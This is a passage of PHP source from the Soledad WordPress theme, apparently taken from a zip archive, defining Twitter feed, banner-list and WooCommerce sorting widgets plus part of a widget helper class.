						echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
					}

					if ( isset( $tweets['error'] ) ) {
						echo 'Missing consumer key - please check your settings in admin > Settings > Twitter Feed Auth';
					} else {
						$df_align = is_rtl() ? 'right' : 'left';
						?>
                        <div class="penci-tweets-widget-content<?php echo $style == 'slider' ? ' ' . $align : ' pc_align' . $df_align; ?>">
							<?php if ( $style == 'slider' ): ?>
                                <span class="icon-tweets"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></span>
							<?php endif; ?>
                            <div class="<?php echo esc_attr( $classes ); ?>" data-dots="true"
                                 data-nav="false" data-auto="<?php if ( $auto ) {
								echo 'false';
							} else {
								echo 'true';
							} ?>">
								<?php foreach ( $tweets as $tweet ):
									$date_array = explode( ' ', $tweet['created_at'] );
									$tweet_id = $tweet['id_str'];
									$tweet_text = $tweet['text'];
									$urls = $tweet['entities']['urls'];
									$user_id = $tweet['user']['id'];
									if ( isset( $urls ) ) {
										foreach ( $urls as $ul ) {
											$url = $ul['url'];
											if ( isset( $url ) ):
												$tweet_text = str_replace( $url, '<a href="' . $url . '" rel="noopener" target="_blank">' . $url . '</a>', $tweet_text );
											endif;
										}
									}
									?>
                                    <div class="penci-tweet">

										<?php if ( $style == 'list' ):
											$reply = '<i class="fa fa-reply" aria-hidden="true"></i>';
											$retweet = '<i class="fa fa-retweet" aria-hidden="true"></i>';
											$favorite = '<i class="fa fa-thumbs-up" aria-hidden="true"></i>';
											?>

                                            <div class="tweet-list-top">

												<?php if ( $date_array[1] && $date_array[2] && $date_array[5] && ! $date ): ?>
                                                    <span class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></span>
												<?php endif; ?>

                                            </div>

										<?php endif; ?>

                                        <div class="tweet-text">
											<?php echo $tweet_text; ?>
                                        </div>

										<?php if ( $style == 'slider' ): ?>

											<?php if ( $date_array[1] && $date_array[2] && $date_array[5] && ! $date ): ?>
                                                <p class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></p>
											<?php endif; ?>
										<?php endif; ?>
                                        <div class="tweet-intents">
                                            <div class="tweet-intents-inner">
                                            <span><a target="_blank" rel="noopener" class="reply"
                                                     href="https://x.com/intent/tweet?in_reply_to=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $reply ); ?></a></span>
                                                <span><a target="_blank" rel="noopener" class="retweet"
                                                         href="https://x.com/intent/retweet?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $retweet ); ?></a></span>
                                                <span><a target="_blank" rel="noopener" class="favorite"
                                                         href="https://x.com/intent/favorite?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $favorite ); ?></a></span>
                                            </div>
                                        </div>


                                    </div>
								<?php endforeach; ?>
                            </div>
                        </div>

						<?php
					}
				endif; /* End check if array $tweets empty or null */


				/* After widget (defined by themes). */
				echo ent2ncr( $after_widget );
			} else {
				_e( 'Please install the "Penci Social Feed" plugin via Apperance > Install Plugins to get this widget working.', 'soledad' );
			}
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'    => esc_html__( 'Tweets', 'soledad' ),
				'date'     => false,
				'auto'     => false,
				'reply'    => esc_html__( 'Reply', 'soledad' ),
				'retweet'  => esc_html__( 'Retweet', 'soledad' ),
				'favorite' => esc_html__( 'Favorite', 'soledad' ),
				'align'    => '',
				'number'   => 5,
				'style'    => 'slider'
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <br>
            <p><span style="color: #ff0000;">Note Important:</span> To use this widget you need to connect your
                twitter account <a
                        href="<?php echo admin_url( 'admin.php?page=penci_twitter_token' ); ?>" target="_blank">here</a>.
            </p>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>">Layout:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='slider' <?php selected( $instance['style'], 'slider' ); ?>>Slider
                    </option>
                    <option value='list' <?php selected( $instance['style'], 'list' ); ?>>List
                    </option>
                </select>
            </p>

            <!-- Align -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>">Align This Widget ( for Slider
                    Layout ):</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'align' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='pc_aligncenter'>Align Center
                    </option>
                    <option value='pc_alignleft' <?php selected( $instance['align'], 'pc_alignleft' ); ?>>Align Left
                    </option>
                    <option value='pc_alignright' <?php selected( $instance['align'], 'pc_alignright' ); ?>>Align Right
                    </option>
                </select>
            </p>

            <!-- Display tweets numner -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of Tweet to Display:', 'soledad' ); ?></label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo $instance['number']; ?>">
            </p>

            <!-- Display tweets date -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'date' ) ); ?>"><?php esc_html_e( 'Hide tweets date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'date' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'date' ) ); ?>" <?php checked( (bool) $instance['date'], true ); ?> />
            </p>

            <!-- Disable auto play -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'auto' ) ); ?>"><?php esc_html_e( 'Disable Auto Play Tweets Slider?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'auto' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'auto' ) ); ?>" <?php checked( (bool) $instance['auto'], true ); ?> />
            </p>

            <!-- Custom reply text -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'reply' ) ); ?>"><?php esc_html_e( 'Custom Reply text:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'reply' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'reply' ) ); ?>"
                       value="<?php echo esc_attr( $instance['reply'] ); ?>"/>
            </p>

            <!-- Custom retweet text -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'retweet' ) ); ?>"><?php esc_html_e( 'Custom Retweet text:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'retweet' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'retweet' ) ); ?>"
                       value="<?php echo esc_attr( $instance['retweet'] ); ?>"/>
            </p>

            <!-- Custom favorite text -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'favorite' ) ); ?>"><?php esc_html_e( 'Custom Favorite text:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'favorite' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'favorite' ) ); ?>"
                       value="<?php echo esc_attr( $instance['favorite'] ); ?>"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\}6XL  XL    widgets/list_banner.phpnu [        <?php
/**
 * List Banner Widget
 * Display your banners or featured categories/posts/pages on the widget.
 *
 * @package Wordpress
 * @since   1.0
 */

add_action( 'widgets_init', 'penci_list_banner_load_widget' );

function penci_list_banner_load_widget() {
	register_widget( 'penci_list_bannner_widget' );
}

if ( ! class_exists( 'penci_list_bannner_widget' ) ) {
class penci_list_bannner_widget extends WP_Widget {

/**
 * Widget setup.
 */
function __construct() {
	/* Widget settings. */
	$widget_ops = array(
		'classname'   => 'penci_list_imgs_widget',
		'description' => esc_html__( 'A widget helps you display a banner or multi-banners on your sidebar. You also can use this widget to display your featured categories/posts/pages.. Everything is custom', 'soledad' )
	);

	/* Widget control settings. */
	$control_ops = array( 'id_base' => 'penci_list_bannner_widget' );

	/* Create the widget. */
	global $wp_version;
	if ( 4.3 > $wp_version ) {
		$this->WP_Widget( 'penci_list_bannner_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'List Banners', 'soledad' ), $widget_ops, $control_ops );
	} else {
		parent::__construct( 'penci_list_bannner_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'List Banners', 'soledad' ), $widget_ops, $control_ops );
	}
}

/**
 * How to display the widget on the screen.
 */
function widget( $args, $instance ) {
extract( $args );

/* Our variables from the widget settings. */
$title  = isset( $instance['title'] ) ? $instance['title'] : '';
$title  = apply_filters( 'widget_title', $title );
$img1   = isset( $instance['img1'] ) ? $instance['img1'] : '';
$url1   = isset( $instance['url1'] ) ? $instance['url1'] : '';
$text1  = isset( $instance['text1'] ) ? $instance['text1'] : '';
$img2   = isset( $instance['img2'] ) ? $instance['img2'] : '';
$url2   = isset( $instance['url2'] ) ? $instance['url2'] : '';
$text2  = isset( $instance['text2'] ) ? $instance['text2'] : '';
$img3   = isset( $instance['img3'] ) ? $instance['img3'] : '';
$url3   = isset( $instance['url3'] ) ? $instance['url3'] : '';
$text3  = isset( $instance['text3'] ) ? $instance['text3'] : '';
$tab    = isset( $instance['tab'] ) ? $instance['tab'] : '';
$crop   = isset( $instance['crop'] ) ? $instance['crop'] : '';
$height = isset( $instance['height'] ) ? $instance['height'] : '';

/* Before widget (defined by themes). */
echo ent2ncr( $before_widget );

/* Display the widget title if one was input (before and after defined by themes). */
if ( $title ) {
	echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
}

?>
<?php if ( $img1 || $img2 || $img3 ): ?>
<?php
/* Check open a new tab is checked or not */
$target = '';
if ( $tab ): $target = ' target="_blank"'; endif;
?>
<div class="penci-list-banner">
	<?php if ( $img1 ) : /* Banner 1 */ 
	$img1_width = penci_get_image_data_basedurl( $img1, 'w' );
	$img1_height = penci_get_image_data_basedurl( $img1, 'h' );
	?>
	<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
    <div class="penci-promo-item penci-lazy<?php if ( $text1 ): echo ' penci-banner-has-text'; endif; /* Crop */
	if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
		echo ' data-bgset="' . do_shortcode( $img1 ) . '"';
	} elseif ( $crop && $height ) {
		echo ' data-bgset="' . do_shortcode( $img1 ) . '" style="height:' . $height . 'px;"';
	} ?>>
		<?php } else { ?>
        <div class="penci-promo-item<?php if ( $text1 ): echo ' penci-banner-has-text'; endif; /* Crop */
		if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
			echo ' style="background-image: url(' . do_shortcode( $img1 ) . ')"';
		} elseif ( $crop && $height ) {
			echo ' style="background-image: url(' . do_shortcode( $img1 ) . '); height:' . $height . 'px;"';
		} ?>>
			<?php } ?>
			<?php if ( $url1 ): ?>
                <a class="penci-promo-url" aria-label="<?php if ( $text1 ) {
					echo $text1;
				} else {
					echo 'Banner1';
				} ?>" href="<?php echo do_shortcode( $url1 ); ?>"<?php echo sanitize_text_field( $target ); ?>></a>
			<?php endif; ?>
			<?php if ( ! $crop ): ?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <img class="penci-lazy" src="<?php echo penci_holder_image_base( $img1_width, $img1_height ); ?>"
                         data-src="<?php echo do_shortcode( $img1 ); ?>" alt="Promotion Image" width="<?php echo $img1_width; ?>" height="<?php echo $img1_height; ?>">
				<?php } else { ?>
                    <img src="<?php echo do_shortcode( $img1 ); ?>" alt="Promotion Image" width="<?php echo $img1_width; ?>" height="<?php echo $img1_height; ?>">
				<?php } ?>
			<?php endif; ?>
			<?php if ( $text1 ): ?>
                <div class="penci-promo-text">
                    <h4><?php echo do_shortcode( $text1 ); ?></h4>
                </div>
			<?php endif; ?>
        </div>
		<?php endif; ?>

		<?php if ( $img2 ) : /* Banner 2 */ 
		$img2_width = penci_get_image_data_basedurl( $img2, 'w' );
		$img2_height = penci_get_image_data_basedurl( $img2, 'h' );
		?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
        <div class="penci-promo-item penci-lazy<?php if ( $text2 ): echo ' penci-banner-has-text'; endif; /* Crop */
		if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
			echo ' data-bgset="' . do_shortcode( $img2 ) . '"';
		} elseif ( $crop && $height ) {
			echo ' data-bgset="' . do_shortcode( $img2 ) . '" style="height:' . $height . 'px;"';
		} ?>>
			<?php } else { ?>
            <div class="penci-promo-item<?php if ( $text2 ): echo ' penci-banner-has-text'; endif; /* Crop */
			if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
				echo ' style="background-image: url(' . do_shortcode( $img2 ) . ')"';
			} elseif ( $crop && $height ) {
				echo ' style="background-image: url(' . do_shortcode( $img2 ) . '); height:' . $height . 'px;"';
			} ?>>
				<?php } ?>
				<?php if ( $url2 ): ?>
                    <a class="penci-promo-url" aria-label="<?php if ( $text2 ) {
						echo $text2;
					} else {
						echo 'Banner2';
					} ?>" href="<?php echo do_shortcode( $url2 ); ?>"<?php echo sanitize_text_field( $target ); ?>></a>
				<?php endif; ?>
				<?php if ( ! $crop ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <img class="penci-lazy" src="<?php echo penci_holder_image_base( $img2_width, $img2_height ); ?>"
                             data-src="<?php echo do_shortcode( $img2 ); ?>" alt="Promotion Image" width="<?php echo $img2_width; ?>" height="<?php echo $img2_height; ?>">
					<?php } else { ?>
                        <img src="<?php echo do_shortcode( $img2 ); ?>" alt="Promotion Image" width="<?php echo $img2_width; ?>" height="<?php echo $img2_height; ?>">
					<?php } ?>
				<?php endif; ?>

				<?php if ( $text2 ): ?>
                    <div class="penci-promo-text">
                        <h4><?php echo do_shortcode( $text2 ); ?></h4>
                    </div>
				<?php endif; ?>
            </div>
			<?php endif; ?>

			<?php if ( $img3 ) : /* Banner 3 */ 
			$img3_width = penci_get_image_data_basedurl( $img3, 'w' );
			$img3_height = penci_get_image_data_basedurl( $img3, 'h' );
			?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
            <div class="penci-promo-item penci-lazy<?php if ( $text3 ): echo ' penci-banner-has-text'; endif; /* Crop */
			if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
				echo ' data-bgset="' . do_shortcode( $img3 ) . '"';
			} elseif ( $crop && $height ) {
				echo ' data-bgset="' . do_shortcode( $img3 ) . '" style="height:' . $height . 'px;"';
			} ?>>
				<?php } else { ?>
                <div class="penci-promo-item<?php if ( $text3 ): echo ' penci-banner-has-text'; endif; /* Crop */
				if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
					echo ' style="background-image: url(' . do_shortcode( $img3 ) . ')"';
				} elseif ( $crop && $height ) {
					echo ' style="background-image: url(' . do_shortcode( $img3 ) . '); height:' . $height . 'px;"';
				} ?>>
					<?php } ?>
					<?php if ( $url3 ): ?>
                        <a class="penci-promo-url" aria-label="<?php if ( $text3 ) {
							echo $text3;
						} else {
							echo 'Banner';
						} ?>"
                           href="<?php echo do_shortcode( $url3 ); ?>"<?php echo sanitize_text_field( $target ); ?>></a>
					<?php endif; ?>
					<?php if ( ! $crop ): ?>
						<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                            <img class="penci-lazy" src="<?php echo penci_holder_image_base( $img3_width, $img3_height ); ?>"
                                 data-src="<?php echo do_shortcode( $img3 ); ?>" alt="Promotion Image" width="<?php echo $img3_width; ?>" height="<?php echo $img3_height; ?>">
						<?php } else { ?>
                            <img src="<?php echo do_shortcode( $img3 ); ?>" alt="Promotion Image" width="<?php echo $img3_width; ?>" height="<?php echo $img3_height; ?>">
						<?php } ?>
					<?php endif; ?>
					<?php if ( $text3 ): ?>
                        <div class="penci-promo-text">
                            <h4><?php echo do_shortcode( $text3 ); ?></h4>
                        </div>
					<?php endif; ?>
                </div>
				<?php endif; ?>
            </div>
			<?php endif; /* End check if doesn't exists any image for this widget */ ?>

			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
			}

			/**
			 * Update the widget settings.
			 */
			function update( $new_instance, $old_instance ) {
				$instance = $old_instance;

				$data_instance = $this->soledad_widget_defaults();

				foreach ( $data_instance as $data => $value ) {
					$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
				}

				return $instance;
			}

			public function soledad_widget_defaults() {
				$defaults = array( 'title'  => '',
				                   'img1'   => '',
				                   'url1'   => '',
				                   'text1'  => '',
				                   'img2'   => '',
				                   'url2'   => '',
				                   'text2'  => '',
				                   'img3'   => '',
				                   'url3'   => '',
				                   'text3'  => '',
				                   'height' => '',
				                   'tab'    => false,
				                   'crop'   => false
				);

				return $defaults;
			}


			function form( $instance ) {

				/* Set up some default widget settings. */
				$defaults = $this->soledad_widget_defaults();
				$instance = wp_parse_args( (array) $instance, $defaults );

				$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
				?>

                <p>This widget helps you display a banner or multi-banners on your sidebar. You also can use this widget
                    to display your featured categories/posts/pages.. Everything is custom!</p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                           value="<?php echo $instance_title; ?>"/>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'img1' ) ); ?>"><?php esc_html_e( '1st Banner URL:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'img1' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'img1' ) ); ?>"
                           value="<?php echo esc_url( $instance['img1'] ); ?>"/>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">You should use image with the width about 400 - 500px.<br>You can check <a
                                href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/"
                                target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image you upload.</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'url1' ) ); ?>"><?php esc_html_e( 'Banner Link for 1st Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'url1' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'url1' ) ); ?>"
                           value="<?php echo esc_url( $instance['url1'] ); ?>"/><br>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">It's the link you want to redirect when the readers click to 1st banner</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'text1' ) ); ?>"><?php esc_html_e( 'Banner Text for 1st Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'text1' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'text1' ) ); ?>"
                           value="<?php echo sanitize_text_field( $instance['text1'] ); ?>"/>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'img2' ) ); ?>"><?php esc_html_e( 'Banner 2nd URL:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'img2' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'img2' ) ); ?>"
                           value="<?php echo esc_url( $instance['img2'] ); ?>"/>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">You should use image with the width about 400 - 500px.<br>You can check <a
                                href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/"
                                target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image you upload.</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'url2' ) ); ?>"><?php esc_html_e( 'Banner Link for 2nd Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'url2' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'url2' ) ); ?>"
                           value="<?php echo esc_url( $instance['url2'] ); ?>"/><br>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">It's the link you want to redirect when the readers click to 2nd banner</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'text2' ) ); ?>"><?php esc_html_e( 'Banner Text for 2nd Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'text2' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'text2' ) ); ?>"
                           value="<?php echo sanitize_text_field( $instance['text2'] ); ?>"/>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'img3' ) ); ?>"><?php esc_html_e( 'Banner 3rd URL:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'img3' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'img3' ) ); ?>"
                           value="<?php echo esc_url( $instance['img3'] ); ?>"/>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">You should use image with the width about 400 - 500px.<br>You can check <a
                                href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/"
                                target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image you upload.</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'url3' ) ); ?>"><?php esc_html_e( 'Banner Link for 3rd Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'url3' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'url3' ) ); ?>"
                           value="<?php echo esc_url( $instance['url3'] ); ?>"/><br>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">It's the link you want to redirect when the readers click to 3rd banner</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'text3' ) ); ?>"><?php esc_html_e( 'Banner Text for 3rd Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'text3' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'text3' ) ); ?>"
                           value="<?php echo sanitize_text_field( $instance['text3'] ); ?>"/>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'crop' ) ); ?>"><?php esc_html_e( 'Auto Crop Banner Images?:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'crop' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'crop' ) ); ?>" <?php checked( (bool) $instance['crop'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'height' ) ); ?>"><?php esc_html_e( 'Set Height for Crop Banner Images:', 'soledad' ); ?></label>
                    <input class="widefat" type="number" id="<?php echo esc_attr( $this->get_field_id( 'height' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'height' ) ); ?>"
                           value="<?php echo absint( $instance['height'] ); ?>"/>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">When you check to crop banner images, you can set height here for crop banner image</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'tab' ) ); ?>"><?php esc_html_e( 'Open Banners in New Tab?:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'tab' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'tab' ) ); ?>" <?php checked( (bool) $instance['tab'], true ); ?> />
                </p>


				<?php
			}
			}
			}

			?>
PK     2w\\S  S    widgets/product_sorting.phpnu [        <?php
/**
 * Widget sort by
 *
 */

if ( ! class_exists( 'Penci_Widget_Sorting' ) ) {
	class Penci_Widget_Sorting extends WPH_Widget {

		function __construct() {
			if ( ! function_exists( 'wc_get_attribute_taxonomies' ) ) {
				return;
			}

			// Configure widget array
			$args = array(
				// Widget Backend label
				'label'       => penci_get_theme_name('.Soledad',true).esc_html__( 'WooCommerce Sort by', 'soledad' ),
				// Widget Backend Description
				'description' => esc_html__( 'Sort products by name, price, popularity etc.', 'soledad' ),
				'slug'        => 'soledad-woocommerce-sort-by',
			);

			// Configure the widget fields

			// fields array
			$args['fields'] = array(
				array(
					'id'   => 'title',
					'type' => 'text',
					'std'  => esc_html__( 'Sort by', 'soledad' ),
					'name' => esc_html__( 'Title', 'soledad' )
				),
			);

			// create widget
			$this->create_widget( $args );
		}

		// Output function
		// Based on woo widget @version  2.3.0
		function widget( $args, $instance ) {
			global $wp_query;

			if ( ! woocommerce_products_will_display() ) {
				return;
			}

			$orderby                 = isset( $_GET['orderby'] ) ? wc_clean( $_GET['orderby'] ) : apply_filters( 'woocommerce_default_catalog_orderby', get_option( 'woocommerce_default_catalog_orderby' ) );
			$show_default_orderby    = 'menu_order' === apply_filters( 'woocommerce_default_catalog_orderby', get_option( 'woocommerce_default_catalog_orderby' ) );
			$catalog_orderby_options = apply_filters( 'woocommerce_catalog_orderby', array(
				'menu_order' => esc_html__( 'Default', 'soledad' ),
				'popularity' => esc_html__( 'Popularity', 'soledad' ),
				'rating'     => esc_html__( 'Average rating', 'soledad' ),
				'date'       => esc_html__( 'Newness', 'soledad' ),
				'price'      => esc_html__( 'Price: low to high', 'soledad' ),
				'price-desc' => esc_html__( 'Price: high to low', 'soledad' )
			) );

			if ( ! $show_default_orderby ) {
				unset( $catalog_orderby_options['menu_order'] );
			}

			if ( get_option( 'woocommerce_enable_review_rating' ) === 'no' ) {
				unset( $catalog_orderby_options['rating'] );
			}

			echo wp_kses_post( $args['before_widget'] );

			if ( $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance ) ) {
				echo wp_kses_post( $args['before_title'] ) . $title . wp_kses_post( $args['after_title'] );
			}

			wc_get_template( 'loop/orderby.php', array(
				'catalog_orderby_options' => $catalog_orderby_options,
				'orderby'                 => $orderby,
				'show_default_orderby'    => $show_default_orderby,
				'list'                    => true
			) );

			echo wp_kses_post( $args['after_widget'] );
		}

		function form( $instance ) {
			parent::form( $instance );
		}

	} // class
	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Widget_Sorting' );
	} );
}
PK     2w\uQ  Q    widgets/wph-widget-class.phpnu [        <?php
/**
 * WordPress Widgets Helper Class
 *
 * https://github.com/sksmatt/WordPress-Widgets-Helper-Class
 *
 * By @sksmatt | www.mattvarone.com
 *
 * @package      WordPress
 * @subpackage   WPH Widget Class
 * @author       Matt Varone
 * @license      GPLv2
 * @version      1.6
 */

if ( ! class_exists( 'WPH_Widget' ) ) {

	class WPH_Widget extends WP_Widget {

		/**
		 * Create Widget
		 *
		 * Creates a new widget and sets it's labels, description, fields and options
		 *
		 * @access   public
		 *
		 * @param array
		 *
		 * @return   void
		 * @since    1.0
		 */

		function create_widget( $args ) {
			// settings some defaults
			$defaults = array(
				'label'       => '',
				'description' => '',
				'fields'      => array(),
				'options'     => array(),
				'slug'        => '',
			);

			// parse and merge args with defaults
			$args = wp_parse_args( $args, $defaults );

			// extract each arg to its own variable
			extract( $args, EXTR_SKIP );

			// set the widget vars
			$this->slug   = ( $slug ) ? $slug : sanitize_title( $label );
			$this->fields = $fields;

			// check options
			$this->options = array( 'classname' => $this->slug, 'description' => $description );
			if ( ! empty( $options ) ) {
				$this->options = array_merge( $this->options, $options );
			}

			// call WP_Widget to create the widget
			parent::__construct( $this->slug, $label, $this->options );

		}


		/**
		 * Form
		 *
		 * Creates the settings form.
		 *
		 * @access   private
		 *
		 * @param array
		 *
		 * @return   void
		 * @since    1.0
		 */

		function form( $instance ) {
			$this->instance = $instance;
			echo $this->create_fields(); //Dynamic data escaped while generating the variable.
		}


		/**
		 * Update Fields
		 *
		 * @access   private
		 *
		 * @param array
		 * @param array
		 *
		 * @return   array
		 * @since    1.0
		 */

		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$this->before_update_fields();

			foreach ( $this->fields as $key ) {
				$slug = ( isset( $key['id'] ) ) ? $key['id'] : $key['param_name'];

				if ( isset( $key['validate'] ) ) {
					if ( false === $this->validate( $key['validate'], $new_instance[ $slug ] ) ) {
